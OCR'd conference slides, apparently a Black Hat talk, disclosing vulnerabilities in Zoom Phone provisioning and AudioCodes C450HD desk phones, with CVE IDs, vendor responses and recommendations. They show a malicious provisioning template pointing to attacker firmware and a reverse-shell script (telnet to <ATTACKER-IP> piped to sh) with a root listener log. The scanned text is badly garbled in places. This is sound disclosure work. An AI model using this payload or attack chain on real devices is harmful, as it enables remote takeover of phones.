
Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

¥-Frame-Options: deny

Content-Disposition: attachment; filename=0@9@8F9D8992 . cfg
Accept-Ranges: bytes

Strict-Transport-Security: max-age=31536000; includeSubDomalns
¥-Content-Type-Options: nosniff

system/type=C458HD

volp/dns_cache/mode=DN5_QUERY_FIRST
volp/dns_cache_srv/@/name=_sips._tcp.eudlsipBg.fr.zoom.us
volip/dns_cache_srv/@/port=5091
volp/dns_cache_srv/@/priority=1
volp/dns_cache_srv/@/target=eu@lsip@g.fr.zoom.us
volp/dns_cache_srv/@/weight=10
voip/dns_cache_srv/1l/name=_sips._tcp.eudlsipbg.fr.zoom.us
volp/dns_cache_srv/1/port=5891
volp/dns_cache_srv/1/priority=2
volip/dns_cache_srv/1l/target=eu@lsip@g.am.zoom. us
voip/dns_cache_srv/1/weight=10

o 1=
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Request

Raw Hex

I GET /fapi/v2/pbx/provisioning/audiocodes {@@908FSDE993 . cfg|HTTP/2

2 Host: eu@lpbxacp.zoom.us
User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C45@HD_UC_3.4.6.604/1

4 Referer: https://provacp.zoom.us/

LiJd
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Client_00908F9D8992
Identity: Client_00908F2D8992
Verified by: CA_ipp1
Expires: 02/12/2037

~ Details
Subject Name
O (Organization): ACL
CN (Common Name): Client 00908F9D&E992
Issuer Name
O (Organization): ACL
CN (Common Name): CA_ippT
Issued Certificate
Version: 3
Serial Mumber: @2 @@ 9@ 8F 9D 89 92
Mot Valid Before: 2017-02-17

Mot Valid After: 2037-02-12




server
listen 443 ssl
server_name eu@lpbxacp.zoom.us

ssl_certificate /path/to/server.crt
ssl_certificate_key /path/to/server.key

location /
# mTLS
ssl_client_certificate /path/to/ca.crt
ssl_verify_client on

Pseudo NGINX N

e

Conﬂgura'“on if ($ssl_client_verify != SUCCESS

return 4@3

# X.509 client serial verification
if ($ssl_client_s_dn !~* "CN=%arg_serial"
return 4@3

# forward
proxy_pass http://localhost:9080
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Add Device

Display Name

Description
(Optional)

| John Doe |

| John Doe's Phone

[ 00908tad8g92 |

. .

i =T=2T:sl:T= .-i & =
(=g =2 =

L = b |':._: el LU

| AudioCodes w |

[ c450hd v ]

This device type supports up to 1 assignee.

Assign

Provision
Template
(Optional)

commaon user template




Company Info * Account Settings * Desk Phone * Provision Template * common user template

Mame [ common user template
Description default template for devices
(Optional)

Save Cancel

Template Visit Support Document for more guidance

-

1 personal_settings/soft_key/0/key_function=DIRECTORY

2 personal_settings/soft_key N/key_function=MISSED_CALLS
3 personal_settings/soft_key/2/key_function=DMND_ALL

4 personal_settings/soft_key/3/key_function=Forward_All

5 personal_settings/soft_key/d/key_function=NOMNE

"

Save Cancel




Company Info » Account Settings * Desk Phone »> Provision Template > evil configuration template

evil configuration template rename

No description

Template Visit Support Document for more guidance

.'-..

1 provisioning/firmware/url=https://ptma.sy.gs/pbx/AudioCodes_UCC450HD_3.4.8198.1.img
2 provisioning/period/type=weekly

2 provisioning/period/weekly/time=00:00

4 provisioning/random_provisioning_time=300




Request

Pretty Raw Hex

1 GET fapi/v2/pbx/provisioning/AudioCodes/c450hd/00908F208952.cfg HTTR/2
2 Host: euOlpbxacp.zoom.us

s User-Agent: AUDC/=2.4.6.604 ﬂUDC-IPPhGﬂE-CﬂEBHD_UC_E.ﬂ.E.Eﬂﬂfl

d Accept: #*/%¥

=
@@ & || 2| | search...

Response

Pretty Raw Hex Render

10

193
194
195
195
197
198
199
20
201
2002
2003

N A

WL LTI £y Lu—w

volp/line/27/enabled=0

volp/line/27/1d=0

volp,/line/28/enabled=0

volp,/line/28/1d=0

volp/line/29/enabled=0

volp,/line/29/1d=0
volp/services/msg walting ind/voice mail number=+85

provisioning/firmware/url=https://ptma.sy.qgs/pbx/AudioCodes UCCASOHD 2.4.8.198.1.1mg
provisioning/period/type=weekly

provisioning/period/weekly/t1ime=00:00

provisioning/random provisioning time=300




Add Device

Display Mame

Description
(Optional)

yet another phone

Device Type [ AudioCodes v |
cd450hd W
This device type supports up to 1 assignee.

Assigned to Assign

Provision common user template

Template "

(Optional)

Save Cancel




Request

Raw Hex

1 GET /009BBFAAAAAA HTTP/1.1
2 Host: redirect.audiocodes.com

3 Accept: */*

4 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C45@8HD_UC_3.4.6.604/1
5 Connection: close

-

Before MAC assignment

Response

Pretty Raw Hex

HTTP/1.1 484 Not Found

Content-Length: 62

Connection: close

Content-Type: application/json; charset=utf-8

Date: Thu, @6 Jul 2023 12:16:48 GMT

Request-Context: appld=cid-v1:229bb6bd-04d7-408d-b225-c6edd4df5c51b

S s T R - (S TR N TRy W ¥

|-__|: h |
.

"description”:"device MAC QO9@BFAAAAAA was not found”

—h
= WD
[




Request

Raw Hex

1 GET /009BBFAAAAAA HTTP/1.1
2 Host: redirect.audiocodes.com

3 Accept: */*

4 User-Agent: AUDC/3.4.6.604 AUDC-IPPhone-C45@8HD_UC_3.4.6.604/1
5 Connection: close

-

After MAC assignment

Response
Raw Hex Render
1 HTTP/1.1 382 Found
2 Content-Length: @
3 Connection: close
4 Content-Type: text/plain; charset=utf-28
5 Date: Thu, 86 Jul 2823 12:17:08 GMT
6 Location: https://eu@lpbxacp.zoom.us/api/v2/pbx/provisioning/audiocodes/

Request-Context: appld=cid-v1:229bb6bd-04d7-408d-b225-c6ed440f5c51b

"_.l: i |

M)
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MAC + Confi
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MAC + Configj
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MAC + Configj
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. ol
1 | H
QX audiocodes casoD (i Home (@ Log Ot
Y
Manual firmware upgrade
Configuration |r-.-1anagement | Etgtigznnstics
Please select a file to upgrade.
Firmware File Location: Choose File | AudioCodes....6.604.1.img
+ | Automatic Update
= |y Manual Update "/
Configuration File submit

+

() Administration

-+

[ j Remote Management
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CRC Error
Upgrade Failed




/home/ipphone/scripts/irun_ramfs_for upgrade.sh

[..
FLASHER=flasher

[..
do_upgrade() {

-]

.1

v "Performing system upgrade...”
In -s /home/ipphone/bin/lcdbar /bin/lcdbar
flasher u /tmp upgrade.img
if [ $7 -eq @ ]1; then
v "external flasher exist"
chmod +x /tmp/flasher_ext
[tmp/flasher_ext u
if [ $7 -eq @ ]1; then
v "external flasher can run, so use external flasher to upgrade”
FLASHER="/tmp/flasher_ext"
fi
fi
$FLASHER r /tmp upgrade.img 1>$CONSOLE 2>&1
if [ $7 -eq @ ]1; then
v "Upgrade successful"
else
v "Upgrade fail"
fi
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undefined

Jndefined lseek SEEK_SET()
8:1 <RETURN=>
lseek SEEK_SET

Be012b38 B0 20 ad e3

@e012b3c fh 9 ff ea

MoV r2 #0x0

b <EXTERNAL=>: :1lseek

AREF [34]:

FUN_0@011f30:
FUN_0@011f30:
FUN_0@011f30:
FUN_0@211736:
FUN_0@011f30:
FUN_0@011f30:
FUN_@@011f30:
FUN_0@011f40:
FUN_@@011fa4:
FUN_@@011fa4:
FUN_@8808121bc:
FUN_@8808121bc:
FUN_@ea1583s8:
FUN_@@88152b8:
FUN_Beal572c:
FUN_@eel57cd.
FUN_2@015e30.
FUN_@@@15fac:
FUN_@@@15fac:
FUN_@880164b0:

pAB11a78(c)
pA@1lacd(c)
pA@11bba(c)
pA@11d3c(c)
pA@11dd4(c)
pA@11e34(c)
PAB11e80(C)
pAB11T50(c)
pAB1211c(c)
PAB12190(c)
pAB12220(c)
pAB124T4(c)
pAB151ad(c)
PAB15448(c)
BAB1579¢(c)
pAB15814(c)
PAB15ecO(c)
pAB15TTe(C)
PAB16048(C)
BAB1657c(c)

[more]




File Edit Search View Format Scripts Templates Debug Project Tools Window Help

R BEfgms YXHRELDE AEBS> 58 =T

AudioCodes_UCCA50HD_3.4.6.604.1.img x

R ERe L E

):7810h 44 39 05 41 17 00 00 00 50 39 05 41|17 00 00 00 DS.
):7820h 54 39 05 41 17 00 00 00 58 39 05 41 17 00 00 00 T9.
):7830h 60 39 05 41 17 00 00 00 6C 39 05 4117 00 00 00 °9.

...P9.

.. X9,
.19,

.. t9.
.. 9,
D 9.
.. 9.
R
...A9,
...D9.
...09.
...a9,
...89,
...09.

.89,

h 7C 39 05 4117 00 00 00 88 39 05 41 17 00 00 00 |9.
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Firmware header containing meta information (version, model, date, etc.)
- bootloader.img

- rootfs.ext4

- phone.img

- section.map

- Flasher

- Release

- end.section
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[jnﬂhrell
$ 11
total 37K
drwxr-xr-
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drwxr-x
drwxr-xr
drwxr-x
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drwxr-x
drwxr-x
- WX -X
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- WX -X
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-rw-r--r
-FWX - X
-FWX - X
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I|..iI|||"¢h“-.I -
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- WX -X

- WX -X

- WX -X
-FWX - X
drwxr-x
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=

1 1 1 1 1 1 1 1 1 1 1 1 1 1
oA oM O ®H M M XK H XK K X X =B X

2
2
2
A
2
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2
3
|
2
4
3
|
2
6
|
|
|
2
z
|
Z
|
|
|
|
|
5

root
root
root
root
root
root
root
root
root
root
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root
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root
root
root
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root
root
| UUL
root
UL
root
root
root
root
root
root

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

root 1.

| L i_ 1 .

root
UL

root 1.

e e O e e e e e e e

root .

root
root
root
root

lighttpd.conf

ntpser.list

production.cfg
rc. Local
rcS

syss-poc.txt

tz.lst

udhcpc.script
udhcpc.script.optiond3
udhcpc.vlanid.script
udhcpc.wlan®.script
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[admin@C450HD /home/ipphone]# cat /fetc/relea
;release information

[admin]

AUTOMAKE=1

BUILD OWNER=centos@ip-172-16-142-244.corp.audiocodes.com
BUILD PROFILE=C450HD

IMG BLVERSION=4.0.3

SYSDATETIME=121300002021

VC5=ga46lba3ech

[default]

BUILD TIME=2021-12-13 09:07:38

HW TYPE=C450HD

LOG=0

SWVERSION=UC 3.4.6.604.1

[admin@C4560HD /home/ipphonel]# 1s -la
39
XIr-x% admin root 16024

admin root 1024

admin root 1024

admin root 16024

admin root 1024

admin root 1024

admin root 16024

admin root 1024

admin root 1024

admin root 16024 i :

admin root 6126 : @ lighttpd.conf

admin root 1024 : :

admin root 16024

admin root 1624 i i

admin root 120 16 @ P ntpser.list

admin root 16024 i :

admin root 1624 § i

admin root 200 i @ production.cfg

admin root 633 : B rc.local

admin root 157 14:14 rcS

admin root 1024 :

admin FouL i6z4

admin root 9 13: syss-poc.txt

ardmin ront 1A724

admin root 1645 pE: tz.lst

admin root 3054 08 - udhcpe

admin root 777 08 : ud

admin root 1997 pE: ud

admin root 543

5 admin root 1024

/home/ipphone]# [

4
2
2
2
4
2
2
2
1
2
4

(=2l LS

L S S = LS I & Sy Sy
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CRC Error
Upgrade Failed
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- SYSS-2022-055
- CVE-2023-22955

- Missing Immutable Root of Trust in Hardware (CWE-1326)
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#!/bin/sh

/bin/sleep 120

TF=$(/bin/mktemp -u)

fusr/bin/mkfifo $TF

fusr/bin/telnet <ATTACKER-IP> 5000 @<$TF | /bin/sh 1>$TF
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% nc -lvkp 5000

listening on [any] 5000

connect to | | from .t-ipconnect.de [93.229
id

uid=0(admin) gid=0(root) groups=0(root)

cat /etc/release
‘release information

[admin]

AUTOMAKE=1

BUILD OWNER=centos@ip-172-16-142-244 . corp.audiocodes.com
BUILD PROFILE=C450HD

IMG_BLVERSION=4.0.3

SYSDATETIME=121300002021

VCS5=gad6lba3ieech

[default]

BUILD TIME=2021-12-13 09:07:38
HW_ TYPE=C4508HD

LOG=0

SWVERSION=UC 3.4.6.604.1

|
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8. reverse shell
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ADMIN

Dashboard
» User Management
> Device Management
v Phone System Management

Users & Rooms
Auto Receptionists
Call Queues
Shared Lines
Group Call Pickup
Phone Numbers
Provider Exchange

Phones & Devices ‘

Assets Library

Logs

Assigned Unassigned

2 |
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Import

Batch import unassigned Desk Phones.

Uploading
L

Running in the Background

10%,
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Desk Phone

Desk Phone

Desk Phone

Desk Phone

Desk Phone

Desk Phone

Desk Phone

Desk Phone

Desk Phone

AudioCodes c450hd

AudioCodes c450hd

AudioCodes c450hd

AudioCodes c450hd

AudioCodes c450hd

AudioCodes ¢450hd

AudioCodes c450hd

AudioCodes e450hd

AudioCodes c450hd

00-90-8f-9d-h3-04

00-90-81-9d-b3-05

00-90-8f-9d-b3-06

00-90-8-9d-b3-09

00-90-8f-9d-b3-08

00-90-8f-9d-b3-0c

00-90-8f-9d-b3-0b

00-90-8f-9d-b3-0f

00-90-8f-9d-h3-25

of 18

FPage Size
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- Unverified Ownership (CWE-283)
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Hard-coded cryptographic Key

SYSS-2022-052 (CVE-2023-22957) & SYSS-2022-054 (CVE-2023-22956):
- State: fixed

- Initial vendor notification: November 2022
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Missing immutable Root of Trust

SYSS-2022-055 (CVE-2023-22955):
- State: not fixed
- Initial vendor notification: November 2022

- Vendor response:

LAudioCodes 2023 roadmap includes signing of firmware for UC devices.”
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Exposure of sensitive Information to an unauthorized Actor

SYSS-2022-052:
- State: partially fixed

- Initial vendor notification: November 2022



Product Notice #0503

Mutual TLS Authentication (mTLS) Support
for AudioCodes Redirect Service

This Product Notice announces the support of Mutual TLS Authentication (mTLS) for
AudioCodes Redirect Service.

mTLS ensures that both the Redirect server and the device (client) authenticate each other's identities before

establishing a connection. This additional layer of authentication safeguards against unauthorized access,
strengthening the overall security of AudioCodes Redirect Service.

Note: By default, mTLS is disabled, allowing currently deployed devices that may not possess the appropriate

certificates to continue accessing and using the Redirect Service. However, we recommend that Customers enable
mTLS.

#BHUSA @BlackHatEvents



Note: By default, mTLS is disabled, allowing currently deployed devices that may not possess the appropriate

certificates to continue accessing and using the Redirect Service. However, we recommend that Customers enable
mTLS.
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Unverified Ownership

SYSS-2022-056:
- State: partially fixed

- Initial vendor notification: November 2022
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Recommendations

- Check Redirections

- Limit Network Communications
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Conclusion

Phone

~

Hard-coded
cryptographic Key

Missing immutable Root
of Trust

Vendor
Redirect Server

Exposure of sensitive
Information to an
unauthorized Actor

ZOOM

Unverified Ownership
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Black Hat Sound Bytes
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Black Hat Sound Bytes

Insufficient security level of e.g. Desk Phones
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Black Hat Sound Bytes

Insufficient security level of e.g. Desk Phones

Endpoint Provisioning Is a lucrative Target for Attackers
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Black Hat Sound Bytes

Insufficient security level of e.g. Desk Phones
Endpoint Provisioning is a lucrative Target for Attackers

Combine Vulnerabilities FTW!
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Thanks!

Moritz Abrell

@moritz_abrell

~—_
- SYSS-2022-052 // CVE-2023-22957
- SYSS-2022-053
- SYSS-2022-054 // CVE-2023-22956
- SYSS-2022-055 // CVE-2023-22955
- SYSS-2022-056


https://blog.syss.com/posts/zero-touch-pwn/

